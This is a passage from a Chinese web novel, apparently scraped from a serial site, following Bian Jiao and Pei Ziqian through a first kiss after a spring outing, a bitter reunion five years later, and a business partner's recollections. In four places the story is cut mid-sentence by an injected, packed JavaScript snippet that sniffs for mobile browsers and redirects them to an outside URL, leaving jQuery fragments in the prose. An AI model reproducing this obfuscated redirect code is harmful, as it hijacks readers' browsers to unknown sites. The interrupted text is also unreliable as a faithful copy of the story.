卞皎的班级与裴子骞班不是临近,中途隔了两个班级,因此没有分到同一辆车。卞皎上车前很闷闷不乐,以往这种活动他都选择直接请假,但没有办法,今年他的生活出现变量。 按理讲春游都是领略大自然的春和景明,可他们出游的这个周五,分明连天气预报都说晴天,天却一直阴暗到下车,空中甚至飘起毛毛雨丝。卞皎捂着脑袋下车,一抬头,就看见不远前裴子骞打着一把伞。对方班级的车已经离开,明显是在等他。果然一走近,就递来一把蓝色的伞。 卞皎没有接,直接躲进裴子骞的伞里。 “反正一起走。”他说。 阳中的春游就是最简单的踏春,一个位于市区外的大型植物园,建在山脚下,一路上小径泥泞湿滑。到达集合地点,每个班级分开列队,卞皎才终于接过裴子骞的伞。 他接伞时,手指碰到裴子骞的手。其实并非有意,甚至连他一时都没反应过来,但对方却很快侧了下手腕,将手抽离。 卞皎的眸忍不住垂下,感觉舌根都抵紧,握紧伞,最终他说了声并不愉快的再见就回队。 其实这时已经没有下雨,卞皎也有背书包,但就是一直把伞拿在手上,手指处好像还有传来冰凉的温度,怎么也放不下。然一只手总归不方便,也可能还有走神的原因,总之最终走到一个上坡路时,他不慎滑倒,左腿膝盖破了很大一块皮,裤腿掀起来时还在不断往外渗血。 人生首次春游还未开始就到此结束。 卞皎最后被班主任送上出租车。上车前他看着对方给郑怀远打电话,不禁回想起和裴子骞初见那天下午,唯一的不同是那时自己挨骂,这时自己受伤。 班主任的手机不知何时已换成了最新款的12,郑怀远的电话也比过去那次接通要快,听见卞皎受伤消息后,声音着急,叮嘱他到医院去拍X光。卞皎只找了一个小诊所给膝盖伤口消毒,然后贴上纱布,最终消费不过二十块,他小时候打架打遍,知道这点小伤还没到伤到骨头的程度。 但傍晚时裴子骞电话打来,他却忍不住将说辞换了个方向。 裴子骞问伤得重不重,卞皎感觉自己真的一秒都听不了这个声音。他鬼使神差说,很重,说连骨头都在痛,根本没办法走路,可能以后连马都不能骑,说老郑明天准备给自己买一个轮椅,到时候可能需要你给我推着上下学了。 裴子骞那边听完无言一阵,然后就掐断了电话。卞皎正纳闷着,就听楼下门铃响了。他一瘸一拐走下楼,打开门,就见到裴子骞。 对方眉间紧皱,校服融进身后日暮时分深蓝天空。 他还没有说话,裴子骞就蹲下身去察看他的膝盖。卞皎睡裤的左腿被挽起到膝盖上方处,他感觉对方的手握住了自己的腿窝。 “骨头在疼?”对方的声音传来,像手指的温度一样,带着冰凉:“有没有照X光?” 卞皎头一次觉得不该撒谎:“……没有。” 最后裴子骞没说什么。即使是一个最没有生活常识的人也能看出来,卞皎膝盖处贴的那点纱布不过是最简单的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271857|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处理,连去医院的必要都没有,更别说照X光。他手中的塑料袋里拎着一罐圆筒,卞皎和他一起一瘸一拐上楼,坐下打开才发现是一桶壮骨粉,给骨折患者用的。 卞皎这时又觉得撒谎无罪了,至少可以赢得金湖岸边的一圈波澜。 可这个时候,裴子骞说:“卞皎,可以不要在这种事情上玩笑么?” 卞皎抬头,就见裴子骞的眉依然紧紧皱着,面色算不上好。这一幕令他想起已经过去很久的那个马场之日,对方看见自己放映那部香港电影时的神情。 这时窗外的天已经黑透,别墅区寂静得像没有无人居住,卞皎张了张唇,不知道该对裴子骞说什么。 一瞬间,他无端感觉这么长时间来的委屈都涌上心头。 从小到大他从来没有经历过这样的境地,过去即使有人骂他,他可以扭打回去,有人孤立他,他可以毫不放在眼里,但从来不像现在。现在他不能动作,不能忽视,有想要的说不出口,即使对方站在他的对面看似关心,他也只能想到上午递伞那一秒钟对方冰凉的、稍触即离的手。 裴子骞好像也意识到自己说话时语气有些太重。他的视线垂下,落在卞皎裸/露的左腿之上,却又很快移到另一侧。 “抱歉,”他说,“我只是……” “裴子骞,”卞皎打断,他听见自己说,“你是不是不喜欢我?” 他一说出口就后悔。 他想说的不是这个,他想说的是裴子骞,你能不能喜欢我,或者说,你要不要试着喜欢一下我,更或者,他觉得最标准的想法其实是,裴子骞,我喜欢你,你要不要喜欢我—— 可最后脱口而出的却是那样一句。 裴子骞,你是不是不喜欢我? 裴子骞的眼睛明显抬起,触上卞皎的视线。透过台灯暖黄灯光的反射,卞皎清楚地看见那双眼睛里的诧异与费解。 卞皎立时只想找哆啦A梦借一个回溯时间的机器,果断收回刚才那句发疯一般的问句。喜欢是一回事,不喜欢又是另一回事,不喜欢等于讨厌,没有人会对讨厌的人永远说好,也没有人会关心讨厌的人是否骨折。至少这个时候卞皎是这样认为的。 所以不管有没有其他的感情,他怎么能够说裴子骞不喜欢自己? 裴子骞的神色明显一点一点地沉下去,好像不明白他为什么要对自己问这样的一句。卞皎看着,感觉心里有什么东西在打着结下坠,站起身朝裴子骞去。 “我不是这个意思……” 话未说完,下一瞬,他却感觉自己的腰上有从未有过的触感,再反应过来时,已经被换了个方向。 背脊贴在门板之上,脑海里尚且一片空白,就有一个薄荷气息的吻从颊侧轻轻落下。接着就是脖颈,锁骨,一路往/下。 “卞皎。” 熟悉的声音比平时还要低,低过卞皎曾听过的任何一种声音,却带着一股足以燎/原的绝对热/意。 一切是或不是的不确定都在此刻消失,因为此刻这个声音说—— “我怎么可能不喜欢你?” 18.B-匕首1 讲完这个吻,车内极端平静。 微风模糊边际,方岑这才看清卞皎今天穿了一件淡蓝色衬衫,他的手臂不知什么时候抱在胸前,微微颦眉,眸光里闪烁着一种方岑无法究明的情绪。 “我喜欢裴子骞,这绝对不假,我也希望得到他的回应,甚至我也幻想过如果我们变得更亲密……但,我其实从未想通他为什么会…这么突然,而且是在我家。” “喜欢到底是什么?我以前想得很简单,就是看见一个人就想靠近,看见他的唇就想亲,我也知道我是怎么喜欢上裴子骞,但是,我不知道他为什么喜欢我。就像金湖,金湖理应不向任何人走来。” 尤其是这些年。 这些年与裴子骞分开,卞皎就常回想十六岁的时光。记忆无可避免在一遍又一遍的重复中变得模糊,增加噪点,往事难追,他已不能忆起许多细节,每每要回溯这个吻之前的相处,他能想起的,竟都只有自己对裴子骞的倨傲与骄矜。 “我爸住院后的情况,你也清楚。”方岑看见卞皎又垂下了眸:“这些年我独立出来,才知道以前的自己有多么……想到马场那天,我竟然说花五百块买裴子骞一天,这样的话只有重现在自己身上的时候,才能意识到是多么羞辱。” 他忽然抬起眼,转头看向方岑:“我与裴子骞分开后,一直觉得他恨我。” 方岑重复:“恨你?” 他不是很能明白恨这个字由何而来。 卞皎没有点头回应他的疑惑,但却说:“今天你来包厢找我前,我曾和他两个人对话,事实证明,我的直觉没错——” “他问了我一个问题,那个问题,我也曾问过他。” 根据玫瑰色回忆理论,人会美化过去的往事,以求给自己内心增添慰藉。直到今天与裴子骞再度重逢,卞皎才想起一段本不该忘却的记忆,因为此前从未回忆过,所以当这段记忆被裴子骞亲口提起,未经美化的对白便真实得可怖。 卞皎第一次知道,原来他与裴子骞之间早已撕裂伤口,在更早的时候。 “那是他来应聘家教的第一天,我很不待见他,”卞皎说,“甚至,可以说我们剑拔弩张。” 那一天卞皎被郑怀远叫醒,看见裴子骞站在自己房门前。 前一天刚与这个人发生过一段不太友好的对话,卞皎对他的印象只有,抽烟,蓄发,年级第一。此刻这位年级第一从梦中出现在眼前,好像证实生活就是由一幕幕诡异的巧合拼凑而成。时间过去太久,卞皎已不能记清当时的自己在想什么,总之郑怀远离开房间后,他一连问了对方好几个问句,而最后一个问句,十分越线。 “五百一个小时,那么一节课就是一千块。”他兀自计算裴子骞的薪资,将他从上看到下,末了,刻意用一种极其暧昧的语气说:“一千块一节课,这么便宜——” “买你一晚,是不是也这个价?” - “人的大脑可能真的会欺骗自己,过去我沉湎于回忆之时,其实没有一刻会想到这天下午。现在想来多半是自己潜意识里也意识到这句话有多么不对,其实当时我也知道不对,但想这不过是一个玩笑,也许些微有些过分,却正是我想看到的。裴子骞这个人好像天然带着一把尖刃朝外的匕首,即使不说话也能让你畏却。”卞皎说:“当时我只想看到这把匕首因为我的玩笑动怒,却没想到五年过去,还有再见这把匕首的一天。” 最后一次进入包厢前,卞皎怎么也没想到里面只有裴子骞一人,就像没有想到春游那天的傍晚,会有一个吻落在自己唇侧。 但五年过去,他已无法再奢求一个吻了。 裴子骞已取下曾经的眼镜,总挡在眼前的头发如今利落挽起,卞皎不合时宜地想这双眼睛还是这么好看,只是眼底再也没有曾经轻易可以得到的缱绻与纵容。 他的指尖夹着一根香烟,他朝卞皎看来,凛冽、淡漠,像某一年落雪的金湖。 “合约。” 他用下巴轻点烟灰缸旁的那叠文件。 在这之前,卞皎其实设想过无数次重逢。或许会在阳市街头,或许会在金湖湖畔,又或者在异国他乡,他从他身旁刚好走过,他停下叫住他的名字说好久不见。可一切真正展开之时才发现,原来重逢是在他从未设想的首都,原来他第一眼甚至都未能认出他来。 第一次见面,裴子骞身边已有伴侣,他是走错的路人;第二次见面,裴子骞是桌上的宾客,他是侍酒的演员;第三次见面,终于只有他们两个人,他终于叫出他的名字,却没有说好久不见。 “卞皎,”他的目光垂落在那双来取合约的手,“我以为你过很好。” 那双手动作停滞,抬眼看他。 卞皎终于敢抬眼。他终于可以看清五年岁月在这个人身上留下的痕迹。 裴子骞的脸果真瘦了很多,他的鼻梁还是高挺,唇瓣线条也还是利落的,卞皎却将目光停留在他的眼眸处。他想这尊眉眼被时间雕琢得更加深邃了,眼尾锋利,却比以前多了好多疲倦。 原来真的过去,好多好多年。 “你过得好么?”裴子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289052|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骞的眼皮忽然抬起。 卞皎匆匆移开视线。拾起文件,他后退了一步,他听见自己的声音说:“还好。” 接着他听见裴子骞说:“是么,那我很失望。” 抬起眼,对方的脸上没有一丝笑意,唇瓣平直成一条线。 “我不想你过好。” 卞皎以为自己听错,攥紧文件的手指无意识收紧:“什么?” 裴子骞却站起来,平视他的眼睛,再度重复:“卞皎,我不想你过好。” 他走近一步,几乎快到卞皎身前,就像过去每一次要拥抱前的靠近,只是这一次谁也没有伸出双手。他说:“你在迟疑什么,是不是觉得我这样说话,真的一点不给你颜面?” 他从卞皎手中抽出那叠合约,卞皎就看见那叠塑料外壳包裹的合约被他轻轻拆开,好像风中飘零的纸张,一页一页掉落在地。终于,动作停留在某一页。 “十万块一部电影,这么便宜,”他的声音听不出任何情绪,像一把淬毒的匕首,透过无数限次的回忆,将卞皎残存的幻想无情击碎,碾压磨粉,不留余地—— “是不是买你一夜,也这么便宜?” - “我虽然设想过无数次重逢,但其实早就知道,我们如果再见,绝不可能体面。”卞皎说:“果然。” 他讲述这件事时,表情竟然比此前都要平淡,方岑看着他,感觉这个结局实在太过突兀,像搬运盆栽时被刺中手心,第一瞬间的想法便是去寻找那根刺的来源。 方岑说:“重逢时拿这件事反击,在我看来,他才真的不体面。这不过是小时候不懂事的玩笑,任何有度量的人都不至于因此记恨,恨这个字实在太重,我更倾向于他只是对你们的分开耿耿于怀。当然,我不知道你们当初分开的经过,也许你可以……” “就到这里。” 卞皎的眸光闪动,在这段不短的谈话中,他头一次出现回避:“方岑,谢谢你听我讲这个无聊的故事,到这里已经足够。” 他道别,拉开车门,好像随时准备下车,方岑就看见他的身影仓促撞进夜风之中。 宿舍一盏窗户亮起。 机械的洗漱后卞皎终于躺到床上,竟然比预想中的放松,甚至很快闭上眼睛。也许是因为他埋藏五年的心事终于被讲出,又也许是他终于在这一天确认了一件事情,总之在坠入梦的最后一秒前,他忽然听见自己的声音在心底说: 不对,方岑说错—— 恨这个字确实很重,但他与裴子骞之间,并不是担不起。 19.B-匕首2 早十点,宋清掀开遮光眼罩一角。 邻座声音低冷,与空乘对话:“……倒杯即可,谢谢。” 宋清感觉奇妙。“不是吧,”他朝对方点了点腕表,一支考究的腕表在冷光灯下泛银,“现在早晨十点,你饮酒?” 对方没有看他:“四个小时,我要入睡。” “我以为你不需要睡眠。”宋清玩笑:“去年在巴塞罗那处理展会,你一周没有睡觉,精神矍铄。” 高级的成语,但使用完全错误。“效率比时常重要,”对方终于看他,“那一周你保持每天八小时睡眠,去到伦敦还是到高压氧舱买觉。” 宋清微愣,他感觉眼前这个人比平常尖锐。 “Chan,你不对劲。”空乘这时拿来一支白雪香槟,瓶身上标注年份2006,宋清扫了一眼:“哦,我知道了,原来你失眠。” 裴子骞并不想继续同他费舌,接过空乘手中的酒杯后道谢。 宋清的嘴却不容易停:“怎么回事,是昨晚的actor?还是陈久玥?等等,你不会被陈久玥撞到和actor……” “不如想想你手下那批工程师什么时候能交出一份答卷。”裴子骞说:“下周我回德国,如若撤资,勿谓言之不预。” 宋清于是确定,这个人今天真的尖锐。 “你说话像匕首,”他道,“你的项目已经在测试动态适配环节,为了它我甚至自学动物行为学,你却连一点八卦机会都不给?” 裴子骞放下酒杯。这是他要发表观点前的开场动作,即手上不拿任何物品。上一次宋清见到这个开场还是在半年前的战略会议上,裴子骞首次拿出一份提案书提出发展国内市场。宋清了解到,国内高端智能制造行业首屈一指的鹏远集团有意与裴子骞签订对赌合约,直到那时,他才将鹏远科技在极少场合被使用的中文名,与那个庞大的商业帝国联系起来。 果然,裴子骞开口。 “去年柏林,你告诉我邂逅一位亚裔模特,相处一周后对方半夜带着你的三千欧元离开,却丢下三万欧元的钱夹,你原本笑着当成玩笑话对我讲,饮过三杯酒后表情却变成哭。从那之后我牢记两个道理,第一,谈八卦不要喝酒。第二,不要谈八卦。” 旧事重提,宋清脸上挂不住:“第二个道理从哪里得出?” 裴子骞说:“从你现在的脸色。” 宋清说:“我服。” 他恹恹扯下眼罩,发誓不再和这把淬毒匕首多说一句。 今日这场飞行长达四小时,他们将从首都飞向西南省第二市,并在当地停留一周时间。宋清知道今晚一定会有饭局,如若在飞机上就把裴子骞惹到,到时可没人替他找来白水替酒。 回想起来,与裴子骞相识之初,他们二人好像就在饮酒。 那时宋清在巴黎求学,导师是法国人工智能教父派系学者,春假一周,他刚和女友分手,就到慕尼黑参加一场工业博览会。 会上他在一个本地大学展位上盯着一个天空圆球看了好久。那个圆球通过识别面部表情来分析心情,从而变换天空颜色、湛蓝的天空令他想起自己初恋,天空于是变灰,飘零小雨。展会结束后,他找了一家酒馆消愁。 在那里,他遇见了裴子骞。 对方当时的样子算不上潇洒,不知已经饮过几杯,脖子下还挂着白天展会的参会证,上面有他的姓名以及展位。宋清记忆很好,立即认出他的名字就写在那颗天空圆球下方。 攀谈几句,对方给他讲了一件私事,那时宋清还不知道,能让这个人主动谈论私事的时机,有且仅有当下这一次。 “你说你见过我的天空球。”裴子骞说:“怎么样,它是否是蓝色的?” 宋清说:“我心情不是很好,它就在下雨。” 裴子骞闻言轻笑:“我也是。” 那晚酒馆的背景音乐是节奏蓝调,宋清就见他跟着音乐晃动了几下手指,喝下一口尼格罗尼,紧接着兀自言说: “今天我还未见过它的蓝色。其实它很好看,颜色数据是我从中国西南省采集来。或许你有听说过,有一个中国成语叫做蜀犬吠日,意思是西南省很难放晴,少见的碧空如洗情况便会引得狗吠。今天白天我查看过那里的天气情况,阴有小雨,是不是很像我们的心情?当初采集数据的时候就有人建议我,世界上的晴天恒河沙数,我不应该固守这么一个地方,我想他们并不知道一个道理,那就是越难得的东西越可贵,况且我又不止想要一个晴天,我是想要一片蓝,只要那一片。” 那天之后,宋清很长一段都把裴子骞当成一个可以与自己匹敌的情种。对一片蓝色天空都能如此固守的人,如果恋爱,想必万难也不放手。 可创业初期,裴子骞身体力行告诉他,一切想错。 裴子骞外形条件相当不错,初见第二天见过对方酒醒后正常的样子,宋清还想问他是不是在国内出演过什么角色,否则眉眼之间怎么会令他想起许多电影封面眼神深邃的男主角。尤其是宋清与他同行时,对方穿上一袭黑色柴斯特大衣,路上总会有女孩甚至男孩回身的目光。 既俊逸又多金,这样的条件天然拥有大学校园里最百分之一顶尖的择偶权,但认识两年直到毕业,宋清都未见过他恋爱。 中途有次例外。 某一次,一位女生找到他们当时的工作室,用德语称是裴子骞的大学同学。他们工作室的位置其实就挂在官网上,但极少有人到这个地方来寻裴子骞,宋清当时心想难道铁树终于将要开花。 这位女生与裴子骞同校,一张小脸巴掌可盖,五官精细,尤其声音十分清润动听。宋清就说,他不在,我给他打个电话。 宋清那时也是跑了一天代码,脑袋迟钝,如若这位女孩真的与裴子骞相熟,那么怎么会轮到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298525|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来给对方打去电话?不过他的嘴一向没门,什么话张口就来,裴子骞那边刚传来一句Hallo,他就用中文说:“大佬,你女友杀上门。” 裴子骞还没说话,那位女生倒先皱眉,回以中文:“什么女友?什么又叫杀上门?” 宋清这才知道自己弄错,于是只能赔错地请对方坐,拿出自己上午刚刚买来的扭结面包,又泡了一壶咖啡款待。咖啡刚好,裴子骞就到工作室,宋清听到女孩看着自己说:“你的合作伙伴并不是很靠谱。” 裴子骞少见地笑了:“陈玖月,他听得懂。” 女孩没在意:“我知道,听不懂我就不会说。” 说完她便走。只剩两人后,宋清以资方顾问审问产品受众群体的语气审问裴子骞,这位姑娘究竟是谁。裴子骞回答得很平常,学校的同学。 宋清明白裴子骞说是同学,那就真的只会是同学。于是他问:“那我可以追吗?” 裴子骞从显示器后看他一眼,表情有些难以言明。 “你应该征求她的意见。” 最后宋清还真想过一阵要不要追求陈久玥,这样泼辣搞怪的个性他一向喜欢,但直到某次了解到对方就是著名台企陈氏药业千金后,才终于明白裴子骞当时那难以言明的表情原来是六个大字。即,你在异想天开。 所以过去很长一段时间里,宋清真的以为裴子骞和陈久玥没有什么。 即使他们似乎经常一起出现在学校食堂、咖啡厅、图书馆,但宋清想既然裴子骞说是同学,就代表绝对没有变质的可能。直到三个月前,宋清跟随裴子骞回国前夕,提前到香港探亲,意外听得家族中有人餐桌八卦,说首都的鹏远大公子与陈氏药业千金可能订婚。 宋清一开始当玩笑看,毕竟两个人确实走得近,生出传闻不是没可能。但裴子骞此人宋清再清楚不过,与其说他不会与陈久玥恋爱,不如说他对女性根本没有兴趣,陈久玥也非傀儡公主,绝不可能在婚姻上妥协商业利益。 可这天的第二天,宋清收到公关部抄送来的一份文件。 文件内容涵盖所有能代表鹏远科技门面的高层感情信息,涉及舆情监控,需要他确认。他漫不经心打开,本来是想看看自己那一栏会是谁的名字,视线划过第一行后却愣了一下,接着返回—— 裴子骞一栏,陈久玥的名字赫然其上。 宋清当即给裴子骞call去电话,想要批判他这种隐瞒兄弟的行为违反天理。 对方那边还在德国,时差七个小时,正值凌晨三点,接起电话听他噼里啪啦一顿三语混杂的追问,只叹了口气,说:“以前让你谈合约都觉得还好,现在我真的害怕公司被骗。” 话外音就差言明,但直到挂断电话后宋清才反应过来自己刚才完全没有问到重点。他应该问的不是“你居然和陈久玥在恋爱?”,而是,“那份表格里为什么会有陈久玥?” 20.B-匕首3 既然没有恋爱,为什么会有,这真的是一大谜题。 就像回国后的中秋那夜,裴子骞与陈久玥被拍。 分明拍摄当时宋清也在不远的五米处,记得这个时候陈久玥在骂脏话吐槽不知道哪位制作人,而裴子骞抽了那夜第五根烟后表情明显没在听,但第二天媒体提前试探能否发布照片,公关部询问上来时,裴子骞看过通稿后还是默许。 裴子骞默许的事情,宋清向来不少调侃。 比如他其实知道对方在中国大陆这片广袤神奇的土地上有过一场痛彻心扉的感情经历,但从来不能知道具体发生过什么,只能通过自己的直觉推断。这么些年来,他积累下不少线索,权当做被裴子骞压榨的报复消遣,甚至专门有一个笔记本当着他的面记录,这件事对方一直知道,但很不在意。 除了某一次伦敦,宋清带领的团队在一个有关大型动物假肢研发项目上取得初步突破。 那天夜里裴子骞罕见地开一瓶香槟,要来宋清的这个笔记本。 “他在西南省?错了。他喜欢月亮?错。他擅长骑马,嗤,这个最错。他爱蓝色……”裴子骞抬头,眼底是宋清从未见过的困惑不定。 “宋清,这件事连我都不能确定,你凭什么写。” 宋清接连被否定,真是心情差到不行。他觉得裴子骞在趁醉发疯。 在西南省这个点从何而来不必多说,爱骑马这个确实不好确定,但月亮和蓝色这两个则是经过考量的。因为鹏远科技创立之初,裴子骞一脸我很受伤我很无助我要用一些东西纪念死去的爱情的模样独断公司LOGO必须是一枚月亮,现在的市场部经理当初还在负责品牌战略,听到这个要求后说可以,圆月在中国寓意完美,只是要避免被认成普通圆形,就得在设计上下点功夫。 裴子骞就说,不要圆月,月满则亏,其实缺一点反而代表未知的结局。 宋清当时笑,薛定谔的猫是吧?你这个更难设计,稍不注意就变成镰刀了,某些国家可能很好卖,某些国家卖不出去。 很显然,裴子骞在一些事情上不会听任何人的劝告,好在最后的事实证明当初他虽执拗,但还保持着基本敏锐的商业直觉。毕竟一年能有几天月圆?像世事一样,缺憾才是常态,弯月代表的企业形象一旦亮相,就叫人无法忘却。 再度回想当年,如果不是那场神秘的爱情驱使裴子骞做下这样的决定,宋清真的很难想象还有什么原因会让他选择月亮图标。 回国后,宋清有意无意看过几次裴子骞与陈久玥的新闻报道,众多笔者字里行间都将月亮图标与陈久玥联系在一起,好像不论是鹏远科技,还是陈久玥的成名曲《月光症候群》,都是二人爱情的产物。宋清笑说这些记者见到胳膊就想大腿,真的该去写爱情小说,甚至在前两天准备发布新车产品前,他都有问裴子骞怕不怕媒体的嘴又铺天盖地乱说,要不要给新配色月银蓝改一个名。 裴子骞那时在试一根深蓝色领带,镜子中的眉眼看不出情绪:“乱说又如何,反正也没人会在意。” 他这话说得充满幽怨,宋清完全能听出那个“没人”必定代指某一个具体的人,又联想到裴子骞这几日的心情似乎都不怎么放晴,他便拿出笔记本想了想记下一句: “最近在首都,已经见面。” 裴子骞明显看到他添上这几笔,但最终都没有再说什么。 飞机落地阳市后,宋清和裴子骞一起被市政府前来接机的人员迎到酒店。 傍晚果然是一场无法逃脱的饭局。好在裴子骞人性未泯,有帮宋清在酒瓶部分上演狸猫换太子,但结束时已经是凌晨一点,上车后除了司机,车里没有一个人能称得上清醒。 司机是阳市给派的,本地人。中年大叔爱攀谈,遇上宋清便像知音相见,二人的普通话又都带极强口音,于是不到五分钟就无话不说。 司机问:“老板你们接下来都在市区忙吧,怎么要住金湖那边?距离好远。” 宋清就拍拍裴子骞说:“不知道啊,这个本地人定的。” 司机就在后视镜里望裴子骞一眼,原本不过随意划过,看清那刻,视线却猛然凝在半空。 宋清感觉车猛的一脚被拐了个弯刹进巷边,然后前排司机转过头来。昏暗的车内光线下,只能看见他下巴颤抖,对着裴子骞叫: “小骞,是我……” 裴子骞的眼睛则睁开又闭上,宋清感觉他在看清那刻咬了下牙关,接着,竟然叹了口气。 自从归宗母家,裴子骞只与阳市有过三次往来。 两次都是汇款,收款人即为眼前这个司机,他的大伯陈素忠。 早年陈素忠与其弟陈素全在本地从事窗帘生意,后来本地窗帘市场饱和,其弟选择北上,陈素忠则西入,到新甘一带承包学校建设工程,人生地不熟,最后被宰得血本无归,重回阳市。这时北归的弟弟陈素全带回一个襁褓婴儿,然后便踪迹全无。 因此陈素忠只知道两件事,第一,这是他弟弟的孩子,第二,这个孩子不姓陈,姓裴。 五年前裴子骞高考结束,搬离陈素忠家,后来一共往他账户中汇过两次款,金额都不菲。这次见面,陈素忠毫无预料,五年来他的生活改变太多,多年未有生育的妻子在裴子骞走后不久竟然怀孕,一年后诞下一子,生活重担重新压在身上,他颓废多年的意志终于重燃,年初时托关系到政府部门当司机。 因此在裴子骞刚从后座上车时,他粗略一晃,并未将脑海中的那抹记忆与眼前的身影对上号。 “小骞,大伯好多年没有见你。”车里只有两人,陈素忠沉默许久才终于开口:“你现在工作怎么样?” 裴子骞没有睁眼,不知道在想什么。 良久后,他答:“还好。” “是吗?那大伯就放心了,”陈素忠说,“也是,你从阳市离开实在太久,我第一眼只觉得像,但没敢认,这么些年我们只知道你在国外,也不知道究竟是在哪里。你看,大伯现在在开车,刚入职两个月,你在做什么……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301170|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 裴子骞静静坐在后座,对他的一切话题都没有反应。只是在他那带着拙劣打探技巧的问题抛过来后,忽然开口:“我们真的需要这么聊天吗?” 他似乎决定不再容忍,虽然距离见到陈素忠不过一刻不到,但他的退让好像在某个更早的时刻就已积累,直到此刻溃堤。 “当做什么都没发生过的样子,不累么?” 陈素忠怔愣。 他从后视镜中看这个曾经的子侄,对方的顶侧仅开了一盏阅读灯,双唇像多年前一样抿紧,岁月的痕迹将他雕刻得更加成熟,却也更加无法靠近。 恍惚间他好像回到五年前那个夏夜,早已决心被掩埋腐烂的过错轻易就被抛开尘土。 “小骞,大伯知道自己做错。”陈素忠的手重新扶上方向盘,也许是一整天的疲惫使他无力再辩解,又或许是这件事本身就没有任何疑窦,他把头埋进支起的双臂之间,终于落下五年来没有任何机会释放的眼泪。 “我真的知道,真的错了,可是人死不能复生,我能改变什么……” 裴子骞的眼睛终于睁开,借着窗外凛白的月色,他的目光落在主驾那个侧影上,没有丝毫动容。 “我不是来听你哭诉。”他说:“你说的确实没错,改变是在结果发生前,即使你现在掉再多眼泪,一切也无济于事。” 拉开车门,金湖夜风徐徐而来,他望了一眼半空,弯月好像永恒悬挂。 转身,裴子骞对着洞开的车窗,他想这可能是与对方此生最后一句: “明天你不用来接送,我会通知换人。” 远处湖畔,两位助理站在柳树下闲聊。 宋清蹲在路边抽烟,看见裴子骞来后没有过问方才的插曲,只是指了指身后。 “Chan,我知道你为什么要住金湖区了。” 他的身后,巨大的湖面如同夜镜,映照一轮皎洁弯月,幽深得仿佛囊括世间所有暗蓝。湖畔每隔一段距离就有一盏路灯,更远处的岸边还有好几家酒馆与咖啡厅,不过或许是近郊的缘故,只是亮灯,少有人烟。 一位助理用烟点了下远处一栋建筑:“再多点人,不就活脱脱的小外滩吗。” 宋清倒是笑了:“这就差得远了,你小子还挺会挑老板爱听的话讲。” 裴子骞似乎也被说笑。他脱下外套搭在臂弯,跨上一步台阶到湖岸边,似乎在眺望湖对岸的那几家亮灯的店面,一阵这时湖风吹过,他的发丝耷下,轻轻闭上眼。 “以前,金湖没有这些。” 金湖就是金湖。有芦苇,有柳树,有月亮,有任何一颗湖泊该有的绿,该有的蓝,也许五年过去,什么都在变,但金湖永远在这里不变—— 不,不对。 其实金湖也有变。 六年前他第一次到这片湖畔,那时区域刚刚被开发成高档住宅区,人迹比此刻还要稀少,唯有西伯利亚迁徙而来的红嘴鸥偶尔停留在倒映天蓝的金秋。 那时金湖,尚还孤独透顶。 21.P-金湖1 “我有一个问题。” 房间寂静斐然,少年的问句像珍珠落盘—— “你很喜欢蓝色么?” 裴子骞看着眼前这张面孔,沉默几秒,最后听见自己的声音说:“还好。” - 今天是中秋假期第一天。他早晨六点起床,家中事务杂多,忙碌结束已是七点。时间刚好,他去到离家四站公交停靠的阳市第一人民医院,陪同祖母抽了三管空腹血。七点三十,第一辆通往金湖区的十五路公交发车,四十分钟的英文听力播放结束后,他到达湖畔别墅区。 直到此刻八点四十五,他身处这幢独栋别墅的二楼侧卧,忽然感觉到左侧胃处有一闪疼痛,才意识到自昨天深夜从社区超市工作结束归家到现在,自己粒米未进。 “还好?”对方还在发问:“我以为你很喜欢。好吧,那我还有一个问题。” 他从那张米白色椅中起身。这张人体工学椅裴子骞在社区超市拟进货单中见过,后来因价位太高,不符合周边购买力,被经理删去。 “你怎么知道我叫卞皎?”他问。 他问这个问题时眼睛睁很大,左侧眉毛微微挑起。裴子骞联想到三天前曾在超市电视区看过的一集美剧,主人公是微表情分析专家,当疑犯左侧眉梢挑起的动作被放大时,他立断对方这是最典型的“话术陷阱”。 